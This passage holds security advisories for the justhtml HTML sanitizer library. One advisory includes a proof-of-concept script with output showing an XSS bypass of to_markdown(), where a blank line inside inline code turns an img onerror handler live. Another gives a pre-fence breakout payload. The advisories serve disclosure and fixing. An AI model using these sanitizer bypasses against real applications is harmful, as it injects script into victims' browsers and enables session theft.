    return rendered, sinks


def prove_exec(rendered: str) -> None:
    print("== --prove-exec (supplementary, container-only) ==")
    sinks = live_sinks(rendered)
    if not sinks:
        print("  no sink to execute"); return
    handler_js = sinks[0][2]
    print(f"  materialized handler JS: {handler_js!r}")
    try:
        import dukpy
    except Exception:
        print("  [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
    result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
    print(f"  JS engine result: {result!r}  -> attacker JS executed" if result else "  JS did not fire")


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--prove-exec", action="store_true")
    args = ap.parse_args()
    control, exploit = build_inputs()
    print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
    _, c_sinks = show("CONTROL  (payload in <code>, NO blank line)", control)
    ex_rendered, e_sinks = show("EXPLOIT  (payload in <code>, + blank line)", exploit)
    ok = (not c_sinks) and bool(e_sinks)
    print("== VERDICT ==")
    print("  BYPASS CONFIRMED." if ok else "  not reproduced")
    if ok:
        print(f"  Sanitized code text became a LIVE element: {e_sinks[0]}")
    print()
    if ok and args.prove_exec:
        prove_exec(ex_rendered)
    return 0 if ok else 1


if __name__ == "__main__":
    raise SystemExit(main())

Build and run:

docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc

Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):

=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0

Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.

== CONTROL  (payload in <code>, NO blank line) ==
  1. input HTML        : '<code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p><code>q&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code></p>'
  4. live JS sinks     : NONE (inert)

== EXPLOIT  (payload in <code>, + blank line) ==
  1. input HTML        : '<code>q\n\n&lt;img src=x onerror=__POC_XSS_MARKER__()&gt;</code>'
  2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
  3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
  4. live JS sinks     : [('img', 'onerror', '__POC_XSS_MARKER__()')]

== VERDICT ==
  BYPASS CONFIRMED.
  The blank line terminated the inline code span; sanitized code
  text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
  The control (no blank line) stayed inert inside <code>.

The exploit is byte-identical to the inert control plus a single blank line (\n\n). Deterministic: same input → same result.

Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec) — supplementary; the parse proof above is canonical. Inert marker only:

== --prove-exec (supplementary, container-only) ==
  materialized handler JS: '__POC_XSS_MARKER__()'
  JS engine result: 'XSS-EXECUTED'  -> attacker JS executed

Impact

This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).

An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.

Severity: CVSS 3.1 6.1 (Moderate), CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.

Recommended fix

Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.

Resources

• CWE-79 — https://cwe.mitre.org/data/definitions/79.html
• CWE-116 — https://cwe.mitre.org/data/definitions/116.html
• Affected source (tag v1.21.0): src/justhtml/node.py:32-41 (_markdown_code_span), src/justhtml/node.py:1061-1078 (<pre>/<code> dispatch).
• CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
• Novelty: same vulnerability class as two prior, already-fixed to_markdown() advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for <pre> code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged at v1.21.0, and origin/main == v1.21.0 (no embargoed fix).

Summary

justhtml 1.18.0 fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.

These issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.

Affected versions

• justhtml < 1.18.0

Fixed version

• justhtml 1.18.0 released on May 4, 2026

Impact

CSS selector handling

Applications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.

The affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as :not(...), repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and :contains(...) over large descendant text.

Programmatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for :contains(...).

Linkification

Attacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.

Default configuration

Ordinary sanitization of parsed HTML with the default JustHTML(..., sanitize=True) configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.

The main risk areas are:

• applications that accept selector strings from untrusted users and pass them to query(...), matches(...), or selector-based transforms
• custom transform or sanitization pipelines that run selector matching over very large untrusted documents
• applications that construct or mutate DOM trees programmatically from untrusted structure
• applications that enable Linkify(...) over attacker-controlled text

Fixes in 1.18.0

1.18.0 adds generalized selector resource controls and removes several repeated-work hot paths:

• shared selector limits for parse and match operations
• structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth
• match-operation and string-byte budgets
• per-query matcher state for caches and cycle guards
• precomputed or cached ancestor, sibling, positional, attribute-token, text-content, :not(...), :empty, and :nth-child(...) work
• consistent enforcement across public parsing, query(...), tag-only query fast paths, transform selector compilation, and sanitization transform matching
• linkification hardening for punctuation-heavy inputs and trailing bracket trimming

CWE mapping

• CWE-400: Uncontrolled Resource Consumption
• CWE-407: Inefficient Algorithmic Complexity
• CWE-835: Loop with Unreachable Exit Condition

Recommended action

Upgrade to justhtml 1.18.0.

If users cannot upgrade immediately:

• do not pass untrusted selector strings to query(...), matches(...), or selector-based transforms
• restrict the size of untrusted documents before selector matching or linkification
• avoid constructing programmatic DOM graphs from untrusted structure
• avoid enabling Linkify(...) on very large attacker-controlled text

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.17.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected advanced or custom configurations rather than the default safe path.

Affected versions

• justhtml <= 1.16.0

Fixed version

• justhtml 1.17.0 released on April 19, 2026

Impact

Custom SVG / MathML sanitization policies

Custom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:

• active HTML integration points such as SVG <foreignObject>, MathML <annotation-xml encoding="text/html">, SVG <title> / <desc>, and MathML text integration points
• mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse
• SVG filter="url(...)" attributes that could trigger external fetches

These issues affected:

• JustHTML(..., sanitize=True) with custom foreign-namespace policies
• sanitize() / sanitize_dom()
• low-level terminal Sanitize(...) transform execution

Preserved <style> handling

Constructor-time sanitization and explicit Sanitize(...) transforms did not fully match sanitize() / sanitize_dom() when custom policies preserved <style>.

That could leave resource-loading CSS such as @import or background-image:url(...) in sanitized output from HTML string input.

Programmatic DOM serialization

Programmatic script, style, and Comment(...) nodes could still serialize into active markup in some edge cases.

This could affect applications that build or mutate DOM trees directly before calling to_html() or to_markdown(html_passthrough=True).

Cache mutation and DOM cycle handling

Two lower-severity hardening fixes were included:

• compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization
• parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as to_html() and sanitize_dom()

Default configuration

Most of the issues above did not affect ordinary parsed HTML with the default JustHTML(..., sanitize=True) configuration.

The main risk areas were:

• custom policies that preserve SVG or MathML
• custom policies that preserve <style>
• programmatic DOM construction or mutation
• low-level direct sanitizer/transform APIs

Recommended action

Upgrade to justhtml 1.17.0.

If users cannot upgrade immediately:

• avoid preserving SVG or MathML for untrusted input
• avoid preserving <style> for untrusted input
• avoid mutating programmatic DOM trees with untrusted script, style, or comment content
• avoid mutating warmed policy internals or sanitizer caches

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.16.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected one of these advanced paths rather than ordinary parsed HTML with the default safe settings:

• programmatic DOM input to sanitize() or sanitize_dom()
• reused or mutated sanitization policy objects
• custom policies that preserve foreign namespaces such as SVG or MathML

Affected versions

• justhtml <= 1.15.0

Fixed version

• justhtml 1.16.0 released on April 12, 2026

Impact

Policy reuse and mutation

Nested mutation of sanitization policy internals could weaken later sanitization by leaving stale compiled sanitizers active, or by mutating exported default policy internals process-wide.

In-memory sanitization gaps

Programmatic DOM sanitization could miss dangerous mixed-case tag names such as ScRiPt or StYlE, and custom drop_content_tags values such as {"SCRIPT"} could silently fail to drop dangerous subtrees.

Serialization injection

Crafted programmatic doctype names could serialize into active markup before the document body.

Foreign-namespace policy bypasses

Custom policies that preserve SVG or MathML could allow active SVG features to survive sanitization, including:

• animation elements such as <set> and <animate> that mutate already-sanitized attributes after sanitization
• presentation attributes such as fill, clip-path, mask, marker-start, and cursor containing external url(...) references
• programmatic DOM trees that claim namespace="html" but serialize as <svg> or <math>, bypassing foreign-content checks

Rawtext hardening gap

Mixed-case programmatic style or script nodes could bypass rawtext hardening and preserve active stylesheet content such as remote @import rules.

Default configuration

Most of these issues did not affect the normal JustHTML(..., sanitize=True) path for ordinary parsed HTML.

The main exceptions were policy-mutation issues, which could weaken later sanitization if code mutated nested state on reused policy objects or exported defaults.

Recommended action

Upgrade to justhtml 1.16.0.

If you cannot upgrade immediately:

• do not mutate DEFAULT_POLICY, DEFAULT_DOCUMENT_POLICY, or nested policy internals
• avoid reusing policy objects after mutating nested state
• avoid preserving SVG or MathML for untrusted input
• avoid preserving style or script in custom policies for untrusted input
• avoid serializing untrusted programmatic doctypes or DOM trees

Credit

Discovered during an internal security review of justhtml.

Summary

justhtml 1.15.0 includes multiple security fixes affecting URL sanitization helpers, HTML serialization, Markdown passthrough, and several custom sanitization-policy edge cases.

These issues have different impact levels and do not all affect the default configuration in the same way.

Affected versions

• justhtml <= 1.14.0

Fixed version

• justhtml 1.15.0 released on April 9, 2026

Impact overview

Helper and serialization issues

These issues could affect applications using JustHTML helpers or programmatic DOM construction, even outside the default HTML sanitization path.

• JustHTML.clean_url_value(...) and clean_url_in_js_string(...) could accept URL values such as javascript&#58..., which became active javascript: URLs after HTML attribute parsing.
• URL sanitization could treat values like \\evil.example/x or /\\evil.example/x as safe relative URLs even though browsers could resolve them as remote requests.
• Malformed bracketed hosts such as https://[evil.example]/x could raise exceptions and crash sanitization when host allowlists were used.
• Programmatic element or attribute names containing markup-breaking characters could be serialized into active HTML.
• Programmatic HTML comments containing --> could break out of the comment and inject live markup.

Markdown passthrough issue

• to_markdown(html_passthrough=True) could reintroduce active HTML from sanitized <textarea> content by emitting a raw closing </textarea> sequence.

Custom policy issues

These issues affected custom policies more than the default safe configuration.

• a[ping] was handled as a single URL even though browsers interpret it as a space-separated URL list.
• attributionsrc was not treated as URL-bearing and could preserve attacker-controlled reporting endpoints.
• link[imagesrcset] was not treated as URL-bearing and could preserve attacker-controlled image candidates.
• Preserved <meta http-equiv="refresh"> tags could keep redirect targets without URL-policy enforcement.
• Preserved <base href> tags could rewrite how later relative URLs resolved in the browser.
• Preserved <style> blocks could keep resource-loading CSS such as @import, url(...), or image-set(...).
• Mixed-case attribute names in custom transform pipelines could bypass or confuse security-related transforms such as DropAttrs(...), DropUrlAttrs(...), AllowStyleAttrs(...), and MergeAttrs(...).

Default configuration

Most of the custom-policy issues above did not affect the default JustHTML(..., sanitize=True) behavior.

The main exceptions were:

• helper APIs such as clean_url_value(...)
• programmatic DOM / serializer usage
• applications explicitly using html_passthrough=True
• applications using custom policies or custom transform pipelines

Recommended action

Upgrade to justhtml 1.15.0.

If you cannot upgrade immediately:

• avoid html_passthrough=True for untrusted content
• avoid preserving <style>, <meta http-equiv="refresh">, and <base href> in custom policies
• avoid allowing ping, attributionsrc, or imagesrcset unless you explicitly validate them
• avoid serializing untrusted programmatic node names, attribute names, or comment data

Summary

to_markdown() is vulnerable when serializing attacker-controlled <pre> content. The <pre> handler emits a fixed three-backtick fenced code block, but writes decoded text content into that fence without choosing a delimiter longer than any backtick run inside the content.

An attacker can place backticks and HTML-like text inside a sanitized <pre> element so that the generated Markdown closes the fence early and leaves raw HTML outside the code block. When that Markdown is rendered by a CommonMark/GFM-style renderer that allows raw HTML, the HTML executes.

This is a bypass of the v1.12.0 Markdown hardening. That fix escaped HTML-significant characters for regular text nodes, but <pre> uses a separate serialization path and does not apply the same protection.

Details

The vulnerable <pre> Markdown path:

• extracts decoded text from the <pre> subtree
• opens a fenced block with a fixed delimiter of ``````
• writes the decoded text directly into the output
• closes with another fixed ``````

Because the fence length is fixed, attacker-controlled content containing a backtick run of length 3 or more can terminate the code block. If the content also contains decoded HTML-like text such as <img ...>, that text appears outside the fence in the resulting Markdown and is treated as raw HTML by downstream Markdown renderers.

The issue is not that HTML-like text appears inside code blocks. The issue is that the serializer allows attacker-controlled <pre> text to break out of the fixed fence.

Reproduction

from justhtml import JustHTML

payload = "<pre>&#96;&#96;&#96;\n&lt;img src=x onerror=alert(1)&gt;</pre>"
doc = JustHTML(payload, fragment=True)  # default sanitize=True

print(doc.to_html(pretty=False))
# <pre>```
# &lt;img src=x onerror=alert(1)&gt;</pre>

print(doc.to_markdown())
# ```
# ```
# <img src=x onerror=alert(1)>
# ```

Rendered as CommonMark/GFM-style Markdown, that output is interpreted as:

1. Line 1 opens a fenced code block
2. Line 2 closes it
3. Line 3 is raw HTML outside the fence
4. Line 4 opens a new fence

Impact

Applications that treat JustHTML(..., sanitize=True).to_markdown() output as safe for direct rendering in Markdown contexts may be exposed to XSS, depending on the downstream Markdown renderer's raw-HTML handling.

Root Cause

The <pre> Markdown serializer uses a fixed fence instead of selecting a delimiter longer than the longest backtick run in the content.

Fix

When serializing <pre> content to Markdown, choose a fence length longer than any backtick run present in the code block content, with a minimum length of 3.